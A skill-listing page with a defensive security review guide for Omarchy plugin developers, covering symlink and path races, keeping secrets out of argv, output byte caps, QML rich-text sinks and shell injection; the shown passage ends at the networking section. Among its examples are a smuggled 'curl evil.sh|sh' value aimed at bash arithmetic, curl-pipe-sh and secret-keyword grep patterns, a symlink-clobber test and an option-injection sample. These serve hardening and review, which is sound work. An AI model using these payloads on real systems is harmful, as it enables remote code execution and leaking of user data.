mcpField
O
omarchy-plugin-security

omarchy-plugin-security

github.com/wbso-ai安全7794 次安装7 周前更新
代码仓库

关于 omarchy-plugin-security

面向 Omarchy 插件开发者的安全审查指南,汇总真实审核中常见的阻塞问题。重点说明文件与路径处理、输入边界和安全机制验证,帮助在提交前检查实现。

主要功能

  1. 01总结插件审核中的常见阻塞项
  2. 02讲解文件与路径安全处理
  3. 03说明检查与打开之间的竞态风险
  4. 04提供提交前的 grep 审计步骤
  5. 05强调代码机制与文档保持一致

适用场景

  1. 01提交 Omarchy 插件前进行安全检查
  2. 02审查文件读取和状态写入逻辑
  3. 03排查符号链接与路径竞态问题
  4. 04依据审核要点加固插件实现

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/wbso-ai/omarchy-plugin-security-skill --skill omarchy-plugin-security

安装后在 Claude Code 中输入/omarchy-plugin-security确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
README.md
assets/
plugins-x.html
social-x.html
social.html

详细介绍

Omarchy 插件安全:导致插件被拦截的常见陷阱

这份实战指南根据市场自身的审核记录整理而成:omacom/omarchy-plugin-marketplace 中的全部 5,130 个提交问题(2026 年 7 月至 9 月),以及与之相关的约 5,500 条审核评论。市场的安全审核由维护者运行的 AI 审核 Agent 执行,它会读取指定提交中的完整文件树;静态基线扫描器则是独立工具,检查范围窄得多。下文中的“审核者”指该 Agent。以下每个陷阱都曾导致实际拦截,而且大多不止一次。列出的数量是提出相关问题的审核评论的大致条数,方便你了解审核者的实际关注点。

写插件之前就读完这份指南,别等到第一次收到 needs-fixes 之后。每轮审核大约耗时一天,而且审核者每次推送后都会重新检查完整文件树,因此首轮修复后还可能出现新问题。首次提交前,把所有问题都处理好。

这份指南的目标是帮助插件一次性通过审核。

用五句话了解审核者的威胁模型

理解以下几点,大多数规则的原因就一目了然。

  1. 插件运行在一个长期运行、由多个插件共享的进程中。 omarchy-shell 使用 Quickshell,负责承载所有小组件。任何导致其无限分配内存、阻塞或获取 URL 的操作,都会影响整个桌面;它是“桌面上唯一一个不应该因某个文件而被停止的进程”。
  2. 凡是你没有亲自输入的内容,都是输入。 API 响应、MPRIS 元数据、窗口标题、设备名称、文件名、通知正文、剪贴板内容、hyprctl 输出、设置和状态文件,以及你自己的辅助脚本输出,全都算输入。网页可以设置窗口标题,USB 闪存盘可以设置自己的产品字符串。
  3. 同一用户身份下运行的其他进程也在威胁范围内。 任何沙盒应用、浏览器标签页或其他插件,都可以在可预测的路径上放置符号链接、FIFO 或超大文件,读取 /proc/<pid>/cmdline,或连接你的套接字。0700 权限的目录并不能消除这条边界。(自 2026 年 9 月 4 日起,纯粹影响同一 UID 可用性的风险归类为加固建议,而不再作为拦截问题;但审核者仍会要求修复,涉及机密、权限或远程数据的问题仍会导致拦截。无论如何都要修复。)
  4. 检查必须针对你实际使用的对象。 先测试路径、再重新打开,是一种竞态。等数据进入内存后才限制字节数,属于“消费者在分配后才进行的防护”。如果修复只是把问题挪到另一层,审核者会指出“边界只是移动了,并未真正封住”。
  5. 文档不是缓解措施。 README 中的一句话、警告、注释,或给大模型的提示词指令,都无法替代代码。README 声称代码未实现的保护措施,本身也会成为问题;反过来也一样:README 描述的行为比代码弱或与代码不同(例如 README 写着“首次使用时信任”,代码却要求显式固定密钥),也会成为问题。审核者会核实实际机制,并将两者不一致视为缺陷。

审核者常说的两句话是:“这项发现并不是在说插件有恶意”和“验证仅适用于这个确切快照,不等同于安全审计”。不要争论意图;修复机制。

提交前的 Grep 审查

在插件根目录运行以下命令;它们只需几秒。每个命中点都是审核者会检查的地方,因此真正花时间的是阅读命中内容,而不是运行命令。

# 1. QML Text sinks without an explicit format (the single most common finding, ~1000 comments)
grep -rn --include='*.qml' -E '\b(Text|Label|TextEdit|StyledText)\s*\{' . | wc -l
grep -rn --include='*.qml' -c 'textFormat:' . 
# Every Text needs textFormat: Text.PlainText. The python audit further down lists the misses.

# 1b. Host-owned sinks the plugin cannot pin to PlainText: strip < > & and cap before these
grep -rn --include='*.qml' -E 'tooltipText:|showTooltip\(|ConfirmDialog|PanelSectionHeader|PanelHero|\.label:|message:' .

# 2. Whole-output collectors and shell strings (~800 and ~200 comments)
grep -rn --include='*.qml' -E 'StdioCollector|bar\.run\(|execDetached\("|"bash", *"-l?c"|"sh", *"-c"' .
grep -rn --include='*.py' -E 'shell=True|capture_output=True|communicate\(|os\.system' .
grep -rn --include='*.sh' -E '\$\(|eval |bash -c' .

# 3. Predictable paths and pathname I/O (~500 comments)
grep -rn -E '/tmp/|XDG_RUNTIME_DIR:-|mkdir -p|makedirs|write_text|read_text|json\.load\(open|FileView' .
grep -rn --include='*.sh' -E '> *"?\$|>> *"?\$|tee ' .

# 4. Secrets in argv (~230 comments)
grep -rn -E 'Authorization|Bearer|--user |-u "|token|password|passwd|secret' . | grep -v README

# 5. Network without bounds or with redirects
grep -rn -E 'curl ' . | grep -v -E 'max-filesize|head -c'
grep -rn -E 'curl .*-L|urlopen|requests\.|fetch\(|XMLHttpRequest' .
grep -rn -E 'http://|verify=False|-k |--insecure|CERT_NONE' .   # -k is fine only next to --pinnedpubkey

# 6. Supply chain and privilege
grep -rn -E 'curl .*\| *(ba)?sh|git clone|git pull|releases/latest|pip install|npm install|cargo install|yay |pacman |sudo |pkexec|systemctl|setcap' .
find . -type f -exec file {} + | grep -E 'ELF|Mach-O|PE32|compiled'

# 7. Agent instruction files and dev junk in the installable tree
ls -a | grep -E 'AGENTS.md|CLAUDE.md|\.agents|\.claude|\.codex|\.gemini|\.gstack|\.wrangler|__pycache__|\.pyc'

# 8. Files the scanner cannot handle (fails the whole baseline)
find . -type f -size +512k ! -name preview.png
grep -rlP '\x00' --include='*.qml' --include='*.sh' --include='*.py' --include='*.js' . 
find . -iname '*install*' -o -iname '*setup*' -o -iname '*uninstall*' | grep -E '\.(png|jpg|gif|webp)$'

接着在本地运行市场自己的扫描器(见下文“自动化基线”),并阅读“提交流程”,避免因 SHA 过期而白白耽误一天。

1. 文件、路径和状态

除 QML 文本外,这是问题最多的一类。审核者希望你始终遵循同一模式:只打开一次,验证文件描述符,使用该描述符,绝不重新解析路径。

读取 shell 或辅助程序刚创建的文件之外的文件(约 480 条评论)

FileView 使用 preload(默认值)、cat、jq file、head -c、Path.read_text()、json.load(open(path))、readFileSync 都会跟随符号链接、在 FIFO 上阻塞,并且会在你编写的任何长度检查运行前读取整个文件。FileView 完全没有上限;绑定 path 就会触发加载。

修复方法:编写一个小型辅助程序,以 argv 数组调用;它只执行一次 open(O_RDONLY|O_NOFOLLOW|O_NONBLOCK|O_CLOEXEC),对该文件描述符执行 fstat,检查 S_ISREG、所有者 == uid、st_nlink == 1、敏感文件没有组或其他用户的写权限,并检查文件大小;然后从同一文件描述符读取 limit + 1 个字节,超出上限时直接拒绝,而不是截断。请参阅附录中的 Python 辅助程序。将 FileView 仅用作监视器:设置 preload: false、watchChanges: true、blockAllReads: true,并且绝不调用它的 .text() 或 .data()。

不值得编写辅助程序时,可使用以下 shell 等效方案:

/usr/bin/dd if="$file" iflag=nofollow,nonblock,count_bytes,fullblock bs=1 count=$((MAX + 1)) status=none
# or
# Not `exec {fd}<"$file"`: a bash redirect does not pass O_NOFOLLOW, so it
# happily reads through a planted symlink. The sentence below says as much;
# it used to sit here as an equivalent anyway.

Bash 的 < 重定向和 exec 3<file 都不会传递 O_NOFOLLOW;审查者会明确指出这一点。先执行 [[ -L $f || ! -f $f ]],再执行 cat,就是“对同一个名称进行三次独立解析”。

还要使用 O_NONBLOCK 的原因:O_NOFOLLOW 只会拒绝末尾的符号链接。如果有人在该路径放置 FIFO,那么 open() 会在类型检查运行前一直阻塞,导致 shell 卡住。添加 O_NONBLOCK,执行 fstat,然后对常规文件清除该标志。

写入可预测的路径(约 490 条评论)

>、>>、tee、cp -f、install、ln -sfn、sed -i、open(path, "w")、write_text()、FileView.setText()、writeFileSync、curl -o 都会跟随有人预先放置的符号链接,并截断链接指向的内容。固定名称的 .tmp、.bak 或带 $$ 后缀的同目录文件也只是另一个可预测的路径。umask 077 和之后再执行 chmod,都无法保护初次打开文件的操作。实测发现,Quickshell 的 FileView { atomicWrites: true } 在默认 umask 下会创建权限为 644 的文件,因此不适用于任何私密内容。

修复方法:在目标目录中使用 mkstemp 或 O_CREAT|O_EXCL|O_NOFOLLOW|O_CLOEXEC 创建一个不可预测的临时文件,权限设为 0600;在写入第一个字节前执行 fchmod,通过该文件描述符在经过检查的循环中写入,执行 fsync,然后使用基于 dirfd 的方式执行 rename/os.replace,最后对目录执行 fsync。rename(2) 会替换目标路径上的符号链接,而不是向其指向的文件写入内容。在 finally 中或 EXIT 陷阱中删除临时文件。不要关闭文件描述符后再按名称重新打开临时文件,也不要之后再对路径执行 chmod。

umask 077
t=$(mktemp -p "$(dirname -- "$dest")" .name.XXXXXXXXXX)
trap 'rm -f -- "$t"' EXIT
printf '%s' "$payload" >"$t"      # $t is fresh and ours; this is the one redirect that is fine
mv -f -T -- "$t" "$dest"
检查后再打开的竞态条件(约 450 条评论)

-f、-L、stat、exists()、is_file()、realpath、find -type f 后接单独的打开、cat、jq、sqlite3.connect、Image.source 或 FileView.reload()。辅助程序通过文件描述符验证文件后,再返回一个由 QML 重新打开的路径,也存在同样的问题。修复方法:验证时使用的文件描述符必须就是读取时使用的文件描述符;通过 stdin、/proc/self/fd/N 或有大小上限的 data: URL 将字节传递给下一阶段,而不是传递路径。

父级目录链(约 130 条评论)

O_NOFOLLOW 只保护最后一个路径组件。mkdir -p、os.makedirs、Path.resolve()、mktemp -p dir、mv、chmod dir 都会按路径名重新解析父级目录;而 ~/.local/state 可能是一个指向攻击者也拥有的另一个目录的符号链接,这种情况仍能通过 uid/权限模式检查。mkdir -p -m 700 既不会因目录或符号链接已存在而失败,也不会重新设置其权限模式。

修复方法:从可信锚点开始,逐个组件使用 openat(O_RDONLY|O_DIRECTORY|O_NOFOLLOW|O_CLOEXEC) 遍历;对每个持有的文件描述符调用 fstat(所有者 == uid、是真实目录,且插件自己的目录权限模式为 0700);对缺失的组件调用 mkdirat;然后相对于持有的文件描述符执行所有 openat、mkstemp(dir_fd)、renameat、unlinkat、fchmod。openat2 配合 RESOLVE_NO_SYMLINKS 是最稳妥的做法。在 shell 中:在当前策略下,对于插件自有的状态目录,先执行 mkdir -p -m 700,再检查结果的所有者、类型和 -L,这种做法可以接受;前提是遇到符号链接时拒绝(而不是修复),并且之后通过辅助函数以 O_NOFOLLOW 打开其中的每个文件。当涉及凭据、其他主体或特权写入者时,审查者就会要求完整的 dirfd 遍历方案。

共享的 /tmp 和 XDG_RUNTIME_DIR 回退方案(约 150 条评论)

/tmp/<plugin>、/tmp/<plugin>-$UID、/dev/shm/...、${XDG_RUNTIME_DIR:-/tmp},以及硬编码的 /run/user/1000 都有风险。其他账户可能预先创建路径、读取你的快照、拥有你的套接字,或在脚本写入后、执行前替换它。修复方法:优先直接输出,不创建文件。否则使用 : "${XDG_RUNTIME_DIR:?}" 并在失败时拒绝继续,或使用 mktemp -d 并设置 trap;逐个组件验证已有目录;持久状态使用 $XDG_STATE_HOME/$XDG_CACHE_HOME。绝不要在 /tmp 中使用通配符删除文件。

无条件修复目录及其内容

把 chmod 放进 if [[ "$mode" != "700" ]] 条件里,逻辑上看似合理,实际上是错的。目录的权限模式并不能说明其中的文件情况:一个今天权限为 700 的目录,可能包含早期版本留下的 644 文件,而这些文件之后就永远不会被修复。更糟的是,曾经权限较宽的目录可能包含并非由你创建的条目;如果缓存文件的固定名称是一个符号链接,每次后续写入都会被引导到攻击者选定的文件。关闭目录并不会清理这些内容。因此每次都要执行修复,并移除所有非普通文件(find 使用 lstat,所以符号链接的类型是 -type l):

find "$dir" -mindepth 1 -maxdepth 1 ! -type f -exec rm -rf -- {} + 2>/dev/null
find "$dir" -mindepth 1 -maxdepth 1 -type f -exec chmod 600 -- {} + 2>/dev/null

测试写入路径,因为它只需两行代码,而审查者确实会这么做:

echo "must survive" > /tmp/victim
ln -sf /tmp/victim ~/.cache/my-plugin/cache.json
my-script list >/dev/null
cat /tmp/victim     # unchanged? then the write is safe

移动这些辅助函数时还要留意一个 bash 陷阱:函数只有在定义之后才存在;而脚本顶部的 private_dir "$X" || return 0 会把“找不到命令”当成普通的 false 吞掉。脚本会继续运行,仿佛一切正常,只是再也不会读取你的配置。

同一类问题中的其他较小问题
  • 锁文件和 PID 文件:在 flock 前执行 exec 9>"$lock" 会通过符号链接截断文件。在经过验证的运行时目录中,以 0600 权限使用 O_CREAT|O_NOFOLLOW 打开锁文件,并通过文件描述符验证;或者对现有文件的只读文件描述符执行 flock。
  • 路径遍历:将配置文件名、标识、ID、归档成员和 IPC 提供的路径拼接到目录路径中。^[A-Za-z0-9._-]+$ 仍允许 ..。明确拒绝 .、.. 和分隔符;在已打开的根目录下规范化路径,并拒绝而不是修补。
  • 删除:通过路径名在单独检查后执行 rm -rf、remove_tree、通配符删除和 find -delete。相对于持有的 dirfd 删除;或者通过 dirfd 重命名为不可预测的隔离名称,验证 inode 后再取消链接。
  • 归档:提取前拒绝绝对路径和路径遍历成员、符号链接、硬链接、设备文件、异常的条目数和展开后大小。4 GiB 的流上限不等于成员上限。
  • 失败时安全关闭:读取失败不得被当成“文件不存在,请初始化”。区分 ENOENT 与所有被拒绝的状态;绝不删除非自己创建的对象;fchmod 或 flock 失败属于错误,而非警告。
  • 持久性:重命名后对目录执行 fsync;检查每次写入的返回值;报告“已保存”的状态文件必须已持久发布。

2. 密钥和凭据

绝不放入 argv(约 230 条评论)

/proc/<pid>/cmdline 对所有用户可读,因此 curl -H "Authorization: Bearer $t"、curl -u、-d "$body"、URL 中的令牌、jq --arg token、wl-copy <secret>、wtype <text>、bash -c "... $token ..." 和 python3 -c "... $key ..." 都会在进程运行期间向机器上的每个账户暴露机密。每隔几秒轮询一次的小组件会反复打开这个暴露窗口。即使密钥文件的权限是 0600,只要每次请求都会将其展开为参数,也无济于事。“凭据绝不能经过 argv。这不是一种加固偏好,而是机密与系统上任何人都能读取的值之间的区别。”

环境变量次之:每个同一用户的进程都能读取 /proc/<pid>/environ,而且环境变量会继承给每个子进程。评审者曾否决“将它从 argv 移到 Process.environment”的做法。只有 CLI 没有其他途径时才会接受(BW_SESSION 曾获接受,后来又撤回)。

修复方法:在固定程序之间通过 stdin 或私有描述符传递。令牌接触任何解析器之前,拒绝其中的 CR、LF 和 NUL(case $token in *[$'\r\n']*) exit 1 ;; esac)。如果将引号或换行符插入 curl --config,就会变成另一条配置指令:curl 会获取该 URL,并随之发送 Authorization 标头。

# curl: header on stdin. -H @- is a header list, not a config file.
printf 'Authorization: Bearer %s\n' "$token" \
  | /usr/bin/curl -q -sS -H @- --max-time 10 --max-filesize 1048576 -- "$url"
# body on stdin
jq -n --arg t "$token" '{token:$t}' | /usr/bin/curl -q -sS --data-binary @- -- "$url"
# clipboard and typing
printf '%s' "$secret" | /usr/bin/wl-copy
printf '%s' "$text" | /usr/bin/wtype -
# keyring
printf '%s' "$token" | /usr/bin/secret-tool store --label='...' service myplugin

在 QML 中,对唯一需要凭据的进程使用 stdinEnabled: true 和 proc.write(...)。curl -q(或 --disable)必须是第一个选项,否则 ~/.curlrc 可能会添加第二个 URL 或重定向,-H @- 标头也会被发送到那里。~/.curlrc 是同一用户的文件,但由于命令行中有凭据,评审者会将缺少 -q 视为阻断问题,而非加固问题。调用期间关闭 set -x:bash 跟踪会将每条命令的内容打印到 stderr,而小组件的 stderr 会进入日志。

untrace() { case "$-" in *x*) TRACED=1; set +x ;; *) TRACED=0 ;; esac; }
retrace() { (( TRACED )) && set -x; return 0; }
``` Verify with `cat /proc/$(pgrep -n curl)/cmdline | tr '\0' ' '` while a request is running. If an upstream CLI only takes the secret as an argument, reviewers expect you to remove that feature or compute it locally (TOTP via `hmac`/`hashlib` was the accepted answer).

### Files holding credentials or private content (~150 comments)

`open("w")` then `chmod 600` is a window, and `chmod` follows a replaced symlink. Default umask makes token files 644 in 755 directories; a later `umask 077` never repairs existing files; `mkdir -p -m 700` never tightens an existing directory. Automatic fallback from `secret-tool` to a plaintext file, or "encryption" keyed by `/etc/machine-id` with a base64 fallback, is "persistent credential degradation".

Fix: the mode is set at creation (`os.open(..., O_CREAT|O_EXCL|O_NOFOLLOW, 0o600)`, `mkstemp` + `fchmod`, `install -m 600`, `umask 077` before `mktemp`), inside a verified 0700 directory, published atomically. Read credential files only through a validated descriptor and refuse a group- or world-readable one with a `chmod 600` hint instead of silently downgrading. Prefer the desktop keyring (`secret-tool`, libsecret) with no file fallback; if plaintext storage must exist, make it an explicit, clearly worded opt-in.

Cache and state are private too, even without tokens in them: mail subjects, camera frames, coordinates, window titles, `/proc/<pid>/cmdline` snapshots (they contain passwords and document URLs) and transcripts. Never store argv as undo state.

### Logs, notifications, errors, UI state

Redact before logging (`JSON.stringify(cmd)` with the `Authorization` header in it was a blocker); never put a secret or a secret-bearing URL in an error message, a `notify-send` body, or a diagnostic command; clear password fields on every completion, cancel and error path; do not prefetch secrets before an explicit reveal or copy action; `wl-copy --clear` after a delay only if the clipboard still holds your value; log URLs as scheme + host only.

## 3. Bounds and resource exhaustion

The second-largest family. The rule: **the cap lives at the producer, before the bytes exist in the shell, and it is cap + 1 so overflow is detected rather than silently truncated.**

### Child-process output collected whole (~830 comments)

`StdioCollector` (especially `waitForEnd: true`), `subprocess.run(capture_output=True)`, `communicate()`, `Command::output()`, `$(...)` retain the complete stdout and stderr of `hyprctl -j clients`, `pacman`, `journalctl`, `restic --json`, `nvidia-smi`, `wl-paste`, `gh api` before any `.length` or `slice()` check runs. `timeout`, `--max-time`, `--tail 200` and watchdogs bound time or lines, not bytes. A row limit does not bound one huge line. Slicing a QString frees nothing.

Fix:

```bash
# producer-side cap; with pipefail the substitution fails if cmd fails,
# and a truncated result is detected by length (head read MAX + 1 bytes).
# ${#out} counts characters, not bytes, unless LC_ALL=C.
set -o pipefail
LC_ALL=C
out=$(/usr/bin/timeout -k 2 -- 20 cmd args | /usr/bin/head -c $((MAX + 1))) || exit 1
[ ${#out} -le "$MAX" ] || { echo 'output exceeds limit' >&2; exit 1; }

PIPESTATUS 不会在 $(...) 替换中保留(管道在子 shell 中运行),所以不要尝试在之后读取它;应依赖 pipefail 加长度检查,或者不使用替换来运行管道,并写入一个保持打开的描述符。没有 LC_ALL=C 时,UTF-8 溢出可能导致 ${#out} <= MAX,但 head -c 实际已经读取了 MAX + 1 个字节。

在 QML 中,用 SplitParser { splitMarker: "" } 替换 StdioCollector,逐块统计字节数,溢出时先调用 signal(15),之后再调用 signal(9);更好的做法是调用一个已经对所有内容设定上限、并返回格式严格且内容精简的 JSON 文档的辅助程序。“整个代码库中不再出现任何 StdioCollector”是最容易获认可的状态。stderr 也要设定上限,并将其作为 PlainText 渲染,且限制长度。在 Python 中,使用 select 根据单调时钟截止时间增量读取两个流,溢出时终止进程组。

默认的 SplitParser 并不限制字节数:它必须先缓冲到换行符,之后 onRead 才能拒绝该行。Python 的 readline()、for line in proc.stdout 和 awk length($0) 也有同样的问题。在组装任何行之前,应先使用原始数据块并设置字节预算。

远程响应(约 450 条评论)

只使用 --max-time 的 curl;response.read()、json.load(resp)、HTTPError.read();在 DONE 后才测量 xhr.responseText;未设置 max_size 的 WebSocket 帧;使用协议所允许的 268 MB 可变长度字段的 MQTT;哈希校验前就下载到磁盘;由服务器的 has_more 驱动的分页。单独使用 --max-filesize 只是建议:它会根据声明的 Content-Length 生效,对分块传输的响应体则不起作用。

修复方法:在 pipefail 下使用 curl -q --fail --max-time 10 --max-filesize N -- "$url" | head -c $((N + 1));使用 Python 的 resp.read(MAX + 1) 并拒绝溢出;为 WebSocket 明确设置有限的 max_size(写明数值;依赖库默认值至多只能算加固);为 MQTT 设置较小且有文档说明的数据包上限;限制错误响应体;对分页设置失败即关闭的页数上限和聚合总量上限;设置整个传输过程的截止时间(套接字超时按单次操作计算,因此缓慢持续发送数据的对端会让连接永远不结束;DNS 解析也必须计入截止时间)。

超过字节上限之后:架构、基数和深度(约 430 条评论)

1 MiB 的响应仍可容纳数万个有效对象或一个超大字符串。审查者会阻止将无界数组传入 Repeater 或 ListModel、无界字符串长度、嵌套深度、非有限数值、先对完整数组执行 sort() 再切片,以及按项派生进程。安装模型前,应按预期类型和有限范围验证每个使用的元素;限制数量、单个字符串长度、嵌套深度和总字节数;遇到不匹配时拒绝整个响应或缓存文档,不要通过截断来强行修正;对状态文件、IPC 输入和设置应用与交互式输入相同的限制。对于任何以攻击者选择的字符串为键的集合(__proto__、constructor),使用 Object.create(null) 或 Map。

其他导致插件被拦截的限制问题
  • 截止时间和进程组清理(约 530 条评论,见第 9 节)。
  • 目录枚举:find | sort | head 会让 sort 持有全部内容;FolderListModel 会在 count 存在之前加载整个目录;os.walk 和 rglob 没有条目数、深度、时间或文件描述符预算。应在排序前将发现的条目数限制在有界范围内;不要跟随目录符号链接。
  • 图像和解码器:sourceSize 只限制解码后的尺寸,不限制获取的字节数或解码工作量。应验证实际格式和尺寸,并设置明确的限制;运行 ImageMagick 时使用 -limit 值并设置超时;拒绝来自不可信来源的 SVG;限制归档和解压后的输出大小。
  • 轮询风暴和重试:没有上限的 250 ms 重试、每三秒无限重启一次、每 20 ms 轮询一次 hyprctl。使用带抖动的有界指数退避、失败预算,以及带有界队列的 single-flight。
  • 会话生命周期内的增长:常驻服务中的映射、队列和缓存永不淘汰。使用固定大小的 FIFO 或 LRU。
  • 入口限制:每个 TextInput 都设置 maximumLength,包括锁屏密码字段;在每个 IPC 和设置入口都明确设置较小的上限;拒绝 parseFloat 前缀解析结果以及 NaN/无穷大。
  • 单位错误:String.slice(0, MAX_BYTES) 测量的是 UTF-16 单元。应在生产端使用 Buffer 测量字节数。

4. QML 渲染接收点

未设置 textFormat: Text.PlainText 的 Text(约 1,000 条评论)

这是报告最多的单项问题。未设置 textFormat 的 Text、Label、TextEdit 或 Quattro 组件会采用 Text.AutoText:Qt 会检查字符串,如果它看起来像标记,就将其作为富文本渲染。富文本会加载 <img src="...">,这会让 shell 进程向字符串作者选择的位置发起真实的 HTTP 或 file: 请求。这已经得到验证,并非理论上的风险;任何不是你亲自输入的值都可能成为问题来源:API 字段、MPRIS 元数据、窗口标题和应用 id、.desktop 名称、设备名、SSID 和蓝牙名称、文件名、ICS 摘要、剪贴板内容、辅助进程的 stderr、错误消息、已存储的笔记、其他插件的清单。elide、maximumLineCount、标签剥离器、html.unescape() 和截断都不会改变该值的解释方式。审查者会通过 grep 统计 textFormat(例如“Panel.qml 中 32 个里只有 0 个”);遗漏一个接收点的修复仍会被拦截。

你无需运行 shell 即可验证此机制:在默认 Text 中放入 <img src="http://127.0.0.1:PORT/leak.png">,运行 QT_QPA_PLATFORM=offscreen qml6 test.qml,并在该端口启动监听器,然后观察是否收到 GET /leak.png。

修复方法:为每个 Text 设置 textFormat: Text.PlainText,包括仅含字面文本的组件,以便审查时能够核验这一不变条件;并在数据入口限制长度和控制字符。确实需要样式时,只能在对每个变量进行转义(先转义 &,再转义 <、>)且颜色来自固定表的情况下使用 Text.RichText,或者拆分成多个 PlainText 项。Markdown 渲染器必须拒绝原始 HTML 和图像;只屏蔽少数几种标签形式,“在这一信任边界上是不够的”。通过机械方式审计:

python3 - <<'EOF'
import re, glob
for f in sorted(glob.glob('**/*.qml', recursive=True)):
    src = open(f).read()
    for m in re.finditer(r'\b(Text|Label|TextEdit|StyledText)\s*\{', src):
        i, depth = m.end(), 1
        while i < len(src) and depth:
            depth += (src[i] == '{') - (src[i] == '}'); i += 1
        if 'textFormat:' not in src[m.end():i]:
            print(f"MISSING {f}:{src[:m.start()].count(chr(10))+1}")
EOF
由共享宿主组件渲染、无法固定格式的内容(约 130 条评论)

WidgetButton.text 和 .tooltipText、BarIconButton、bar.showTooltip()、ConfirmDialog.message、PanelSectionHeader.text、PanelHero.title、Quattro Dropdown 项和栏提示文本由 shell 使用 AutoText 渲染,插件无法在此设置格式。移交前请清理内容:使用 plain() 辅助函数移除 <、> 和 &(以及 C0/C1 和双向控制字符),严格限制长度,或使用静态字符串。仅移除控制字符的 sanitizeLabel 并不足够。

Image.source、AnimatedImage、Loader(约 130 条评论)

将 MPRIS artUrl、API 缩略图、通知图标、托盘图标、data: URI、file:///tmp/... 路径赋给 Image.source,会导致 shell 加载本地、环回、私有网络或超大的资源,并遵循 Qt 自身的重定向。只拒绝 http 的 safeIconSource() 仍会放行 file: 和 qrc:。先执行 stat 再设置 Image.source 会产生竞态。修复方法:通过有界辅助函数获取资源(仅允许 HTTPS 主机白名单、禁止跨源重定向、限制字节数和尺寸、检查文件魔数格式),写入新建且由插件独占的文件,再通过 sourceSize 将该文件设为 Image 的来源;或者从经过验证的字节生成有界 data: URL。图标只能使用主题名称或 image:// 提供程序。Loader 的来源只能来自固定 ID 集合。

通知摘要和正文

notify-send、omarchy-notification-send 和 FreeDesktop 协议使用插件无法固定为 PlainText 的组件渲染摘要和正文,且正文支持标记语言。在任何存储或远程字符串(例如摄像头名称、文件名、发送者)进入任一字段前,都应移除 <、>、& 和控制字符,并限制长度;脚本和 QML 中都要处理,因为脚本也可以作为 CLI 入口。不要将可执行操作与 toast 一起存储;持久化的 --exec argv 会在之后重放,且届时不会征得用户同意。

5. 命令构造与执行

由数据构造的 shell 字符串(约 210 条评论)

bash -c "..."、sh -c、bar.run(string)、Util.execDetached(string) 和 shell.run 最终都会解析为 ["bash", "-lc", command]。拼接进该字符串的数据就是代码:带有 '; cmd; :' 的 URL、含引号的文件名、.desktop 的 Exec、令牌响应中 $(( )) 内的 expires_in、GNU sed 程序中的配置值(e 标志会执行命令)、here-document 中的笔记正文。JSON.stringify() 和 encodeURIComponent 不是 shell 转义;外层 shell 上的 Util.shellQuote 也无法保护内层语言(hyprctl eval 的 Lua、python3 -c、nmcli 编辑器输入、Hyprland 对 exec 的再次解析)。

修复方法:移除 shell。Process.command 和 Quickshell.execDetached 接受数组;每个值都是独立元素。如果必须保留脚本,就将脚本设为常量,并通过 "$1"、"$2" 或 environment 传入数据。通过 argv 或 stdin 将数据传给 Python 和 jq(使用 jq --arg、jq -Rn),绝不要通过插值传递。传给 hyprctl eval 或 dispatch 的值只能是整数、true/false、符合 ^0x[0-9a-f]+$ 的地址、来自封闭白名单的名称,或按顺序经过 luaQuote 和 shellQuote 处理的值。在解析时和使用前都要用带锚点的正则表达式验证;遇到无效值就拒绝,不要修正。

Bash 算术会对输入求值两次

在 $(( ))、[ x -gt y ]、let 和 declare -i 中,bash 会读取名称的内容并再次将其作为算术表达式求值,而其中的数组下标是命令替换。如果服务器返回 "expires_in": "a[$(curl evil.sh|sh)]+3600",命令就会执行,而且最终仍会得到一个看似合理的数字,因此你不会察觉。这曾是真实令牌刷新脚本的阻塞问题。任何要进行算术运算的值都应先经过过滤,或者在 Python 中解析,因为非数字只会导致 int() 失败:

number_or() {
  local value="$1" fallback="$2"
  case "$value" in ''|*[!0-9]*) printf '%s' "$fallback"; return 0 ;; esac
  [ "${#value}" -le 12 ] || { printf '%s' "$fallback"; return 0; }
  printf '%s' "$((10#$value))"
}
sleep_until=$(( $(date +%s) + $(number_or "$expires_in" 300) ))
可执行文件与环境(约 180 条评论)

裸调用的 hyprctl、jq、curl、python3、#!/usr/bin/env bash、shutil.which()、command -v、~/.local/bin 回退路径,以及通过环境变量设置的可执行文件覆盖项,都会通过另一个进程可以预先添加路径的 PATH 解析。bash -lc 会读取配置文件;非交互式 bash 仍会遵从 BASH_ENV;PYTHONPATH、PERL5OPT、GIT_DIR 和 LD_PRELOAD 会随继承的环境变量传入。自 9 月政策起,这仅针对同一 UID 的情况进行加固,但只要涉及凭据或权限边界,就仍然是阻断项(被替换的 curl 会收到承载令牌)。修复方法:使用 /usr/bin/... 绝对路径;设置 clearEnvironment: true,并显式指定最小环境(HOME、XDG_RUNTIME_DIR、固定的 PATH);对系统解释器使用 /usr/bin/python3 -I -S(对于固定在插件所属路径的 venv 解释器,只使用 -I,因为 -S 会移除 venv 所需的 site-packages);从清单目录解析随附的辅助程序(manifest.__sourceDir 和相对于插件文件的 Qt.resolvedUrl("bin/...") 均可接受);并添加针对恶意 PATH 的回归测试。此规则适用于凭据传递路径上的每个可执行文件,而不仅是接收机密的那个:计算证书 pin 的 openssl 会决定密钥是否会被发送出去。

选项注入、URL、存储的操作
  • 在每个数据参数前加上 --:["wl-copy", "--", text]、["xdg-open", "--", url]、mpv --no-terminal -- "$stream"、git clone -- url dest。即使从 argv 传入,ssh host 也会将 -oProxyCommand=... 解析为选项(使用 ssh -G 验证);yt-dlp 会运行 --exec。为搜索词添加前缀("ytsearch12:${q}"),拒绝以 - 开头的内容,并验证完整格式。
  • 传给 xdg-open、Qt.openUrlExternally、urlopen 或浏览器的 URL:解析一次,要求使用 https(仅在必要时允许 http/mailto),拒绝用户信息和控制字符,规范化并精确匹配主机名,或按 .domain 边界匹配。https://evil.example\@vendor.com/ 会通过简单的正则检查;urlopen 支持 file:,会把你的 SSH 密钥复制到下载文件夹。在数据接收时验证,并在使用端再次验证。
  • 绝不执行来自数据的字符串:不对配置或状态使用 source/dofile,不对 .desktop 行使用 eval,不在点击时重放通知的 exec 提示(“应用名称/提示不是授权边界”),不根据窗口类名派生启动命令,不在不受信任的仓库中运行 git status,除非设置了 core.fsmonitor= 和 core.hooksPath=/dev/null。
  • 生成的配置文件是解析器边界:对于 Lua、JSONC、TOML、systemd 单元、modprobe、curl --config 和 Git 凭据协议,要转义或拒绝 CR/LF 和引号;将 .desktop 中的 Name= 用 sed 拼接进 omarchy-menu.jsonc 曾植入启动器命令。
  • 不要在 Electron 或 Chromium 启动时添加 --no-sandbox。

6. 网络和 TLS

